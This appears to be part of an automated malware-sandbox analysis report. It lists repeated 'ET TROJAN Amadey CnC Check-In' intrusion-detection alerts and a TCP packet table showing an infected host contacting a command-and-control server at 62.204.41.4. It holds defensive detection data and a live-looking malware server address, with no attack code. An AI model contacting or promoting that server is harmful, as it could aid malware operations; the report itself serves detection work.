192.168.2.762.204.41.450355802027700 02/06/23-18:38:48.066556	TCP	2027700	ET TROJAN Amadey CnC Check-In	50355	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449736802027700 02/06/23-18:36:00.525448	TCP	2027700	ET TROJAN Amadey CnC Check-In	49736	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450269802027700 02/06/23-18:38:23.765845	TCP	2027700	ET TROJAN Amadey CnC Check-In	50269	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450006802027700 02/06/23-18:37:15.979491	TCP	2027700	ET TROJAN Amadey CnC Check-In	50006	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450358802027700 02/06/23-18:38:48.804091	TCP	2027700	ET TROJAN Amadey CnC Check-In	50358	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449840802027700 02/06/23-18:36:27.290138	TCP	2027700	ET TROJAN Amadey CnC Check-In	49840	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449996802027700 02/06/23-18:37:11.560689	TCP	2027700	ET TROJAN Amadey CnC Check-In	49996	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450177802027700 02/06/23-18:37:59.985865	TCP	2027700	ET TROJAN Amadey CnC Check-In	50177	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449825802027700 02/06/23-18:36:23.646592	TCP	2027700	ET TROJAN Amadey CnC Check-In	49825	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449751802027700 02/06/23-18:36:04.175861	TCP	2027700	ET TROJAN Amadey CnC Check-In	49751	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450110802027700 02/06/23-18:37:42.371968	TCP	2027700	ET TROJAN Amadey CnC Check-In	50110	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449917802027700 02/06/23-18:36:49.905140	TCP	2027700	ET TROJAN Amadey CnC Check-In	49917	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449739802027700 02/06/23-18:36:01.266268	TCP	2027700	ET TROJAN Amadey CnC Check-In	49739	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449999802027700 02/06/23-18:37:14.145161	TCP	2027700	ET TROJAN Amadey CnC Check-In	49999	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449828802027700 02/06/23-18:36:24.349767	TCP	2027700	ET TROJAN Amadey CnC Check-In	49828	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450281802027700 02/06/23-18:38:28.378215	TCP	2027700	ET TROJAN Amadey CnC Check-In	50281	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450192802027700 02/06/23-18:38:03.610612	TCP	2027700	ET TROJAN Amadey CnC Check-In	50192	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450088802027700 02/06/23-18:37:37.171595	TCP	2027700	ET TROJAN Amadey CnC Check-In	50088	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449968802027700 02/06/23-18:37:04.244029	TCP	2027700	ET TROJAN Amadey CnC Check-In	49968	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450021802027700 02/06/23-18:37:19.783407	TCP	2027700	ET TROJAN Amadey CnC Check-In	50021	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449901802027700 02/06/23-18:36:43.063640	TCP	2027700	ET TROJAN Amadey CnC Check-In	49901	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449761802027700 02/06/23-18:36:06.571220	TCP	2027700	ET TROJAN Amadey CnC Check-In	49761	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450009802027700 02/06/23-18:37:16.756199	TCP	2027700	ET TROJAN Amadey CnC Check-In	50009	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450342802027700 02/06/23-18:38:43.108288	TCP	2027700	ET TROJAN Amadey CnC Check-In	50342	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450212802027700 02/06/23-18:38:10.033408	TCP	2027700	ET TROJAN Amadey CnC Check-In	50212	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449983802027700 02/06/23-18:37:08.027985	TCP	2027700	ET TROJAN Amadey CnC Check-In	49983	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449942802027700 02/06/23-18:36:57.946569	TCP	2027700	ET TROJAN Amadey CnC Check-In	49942	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450123802027700 02/06/23-18:37:45.530650	TCP	2027700	ET TROJAN Amadey CnC Check-In	50123	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449853802027700 02/06/23-18:36:30.146489	TCP	2027700	ET TROJAN Amadey CnC Check-In	49853	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449812802027700 02/06/23-18:36:20.476057	TCP	2027700	ET TROJAN Amadey CnC Check-In	49812	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449894802027700 02/06/23-18:36:41.381593	TCP	2027700	ET TROJAN Amadey CnC Check-In	49894	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449764802027700 02/06/23-18:36:07.304245	TCP	2027700	ET TROJAN Amadey CnC Check-In	49764	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450253802027700 02/06/23-18:38:19.923435	TCP	2027700	ET TROJAN Amadey CnC Check-In	50253	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450301802027700 02/06/23-18:38:33.190298	TCP	2027700	ET TROJAN Amadey CnC Check-In	50301	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449914802027700 02/06/23-18:36:49.185768	TCP	2027700	ET TROJAN Amadey CnC Check-In	49914	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450294802027700 02/06/23-18:38:31.479059	TCP	2027700	ET TROJAN Amadey CnC Check-In	50294	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450075802027700 02/06/23-18:37:34.012824	TCP	2027700	ET TROJAN Amadey CnC Check-In	50075	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450164802027700 02/06/23-18:37:56.874762	TCP	2027700	ET TROJAN Amadey CnC Check-In	50164	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450034802027700 02/06/23-18:37:22.947074	TCP	2027700	ET TROJAN Amadey CnC Check-In	50034	80	192.168.2.7	62.204.41.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 6, 2023 18:35:55.927301884 CET	49724	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:55.927752018 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:55.989209890 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:55.989393950 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:55.989929914 CET	80	49724	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:55.990781069 CET	49724	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.006951094 CET	49724	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.007021904 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.068619013 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.069742918 CET	80	49724	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.069925070 CET	80	49724	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.071388960 CET	49724	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.075514078 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.075737953 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.099328995 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.161078930 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161401987 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161428928 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161452055 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161468983 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161482096 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161519051 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161560059 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161581039 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161598921 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161617994 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.161623955 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.161668062 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.161668062 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.197876930 CET	49724	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.198956013 CET	49726	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.223263025 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223304033 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223324060 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223344088 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223362923 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223370075 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.223382950 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223401070 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223416090 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.223419905 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223433971 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.223439932 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223459005 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.223474979 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.223495007 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.223526955 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.259802103 CET	80	49726	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.259948015 CET	49726	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.260662079 CET	49726	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.260756016 CET	80	49724	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.260829926 CET	49724	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.285206079 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285240889 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285259962 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285279036 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285298109 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285312891 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.285315990 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285335064 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285347939 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.285352945 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285367966 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.285371065 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285389900 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285391092 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.285408020 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.285414934 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.285444975 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.322364092 CET	80	49726	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.327101946 CET	80	49726	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.327406883 CET	49726	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.346916914 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.346954107 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.346971989 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.346992016 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.347011089 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.347028971 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.347048044 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.347065926 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.347084045 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.347090960 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.347101927 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.347120047 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.347186089 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.408791065 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.408828020 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.408847094 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.408869028 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.408888102 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.408909082 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.408963919 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.408972979 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.408982992 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.409002066 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.409020901 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.409024954 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.409039021 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.409084082 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.409084082 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.409104109 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.409120083 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.409166098 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.470726013 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.470797062 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.470830917 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.470863104 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.470870972 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.470894098 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.470925093 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.470931053 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.470956087 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.470966101 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.470987082 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.471019983 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.471019983 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.471050024 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.471061945 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.471080065 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.471093893 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.471112013 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.471131086 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.471155882 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.478319883 CET	49726	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.479176998 CET	49727	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.532807112 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.533009052 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.533056021 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.533118963 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.533149958 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.533178091 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.533199072 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.533255100 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.533255100 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.539407015 CET	80	49726	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.541369915 CET	80	49727	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.541512966 CET	49726	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.541568041 CET	49727	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.731344938 CET	49727	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.793847084 CET	80	49727	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.798099041 CET	80	49727	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.798202038 CET	49727	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.928816080 CET	49727	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.929091930 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.929948092 CET	49728	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.990909100 CET	80	49725	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.991152048 CET	80	49727	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.991368055 CET	49725	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.992121935 CET	80	49728	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:56.992191076 CET	49727	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:56.992331982 CET	49728	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.036982059 CET	49728	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.099335909 CET	80	49728	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:57.103548050 CET	80	49728	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:57.104279995 CET	49728	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.252998114 CET	49728	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.255824089 CET	49729	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.314825058 CET	80	49728	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:57.315009117 CET	49728	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.317682028 CET	80	49729	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:57.317861080 CET	49729	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.348762989 CET	49729	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.410578966 CET	80	49729	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:57.413033962 CET	80	49729	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:57.413172007 CET	49729	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.934293985 CET	49729	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.934990883 CET	49730	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.995990038 CET	80	49729	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:57.996174097 CET	49729	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:57.997437954 CET	80	49730	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:57.997570038 CET	49730	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.016248941 CET	49730	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.078794956 CET	80	49730	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:58.084274054 CET	80	49730	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:58.084526062 CET	49730	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.226327896 CET	49730	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.227330923 CET	49731	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.286987066 CET	80	49731	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:58.287081957 CET	49731	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.287698030 CET	49731	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.288853884 CET	80	49730	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:58.288939953 CET	49730	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.347064018 CET	80	49731	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:58.349608898 CET	80	49731	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:58.349724054 CET	49731	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.503546000 CET	49731	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.504434109 CET	49732	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.563184023 CET	80	49731	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:58.563353062 CET	49731	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:58.566046000 CET	80	49732	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:58.566189051 CET	49732	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.129342079 CET	49732	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.191168070 CET	80	49732	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:59.197772980 CET	80	49732	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:59.197941065 CET	49732	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.718357086 CET	49732	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.719398975 CET	49733	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.780191898 CET	80	49732	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:59.780261993 CET	80	49733	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:59.780294895 CET	49732	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.780349970 CET	49733	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.781455994 CET	49733	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.842576981 CET	80	49733	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:59.849287033 CET	80	49733	62.204.41.4	192.168.2.7
Feb 6, 2023 18:35:59.849419117 CET	49733	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.960769892 CET	49733	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:35:59.961818933 CET	49734	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.022156954 CET	80	49733	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.022252083 CET	49733	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.024112940 CET	80	49734	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.024276018 CET	49734	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.024734020 CET	49734	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.086956024 CET	80	49734	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.093935013 CET	80	49734	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.094094038 CET	49734	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.216378927 CET	49734	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.217192888 CET	49735	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.277741909 CET	80	49735	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.277874947 CET	49735	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.278414965 CET	49735	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.278624058 CET	80	49734	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.278727055 CET	49734	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.339060068 CET	80	49735	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.341404915 CET	80	49735	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.341476917 CET	49735	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.456774950 CET	49735	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.458628893 CET	49736	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.517509937 CET	80	49735	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.517748117 CET	49735	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.521207094 CET	80	49736	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.521732092 CET	49736	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.525448084 CET	49736	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.587937117 CET	80	49736	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.590553045 CET	80	49736	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.590651989 CET	49736	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.706166029 CET	49736	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.707168102 CET	49737	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.768515110 CET	80	49737	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.768559933 CET	80	49736	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.768652916 CET	49737	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.768709898 CET	49736	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.769093990 CET	49737	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.830445051 CET	80	49737	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.832873106 CET	80	49737	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:00.832981110 CET	49737	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.946501970 CET	49737	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:00.958568096 CET	49738	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.008265018 CET	80	49737	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:01.008352041 CET	49737	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.019371986 CET	80	49738	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:01.019665956 CET	49738	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.020544052 CET	49738	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.081216097 CET	80	49738	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:01.085381031 CET	80	49738	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:01.085551023 CET	49738	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.203288078 CET	49738	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.203911066 CET	49739	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.264082909 CET	80	49738	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:01.264341116 CET	49738	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.265259027 CET	80	49739	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:01.265423059 CET	49739	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.266268015 CET	49739	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.327723026 CET	80	49739	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:01.331387043 CET	80	49739	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:01.331541061 CET	49739	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.442477942 CET	49739	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.443190098 CET	49740	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:01.503952980 CET	80	49740	62.204.41.4	192.168.2.7
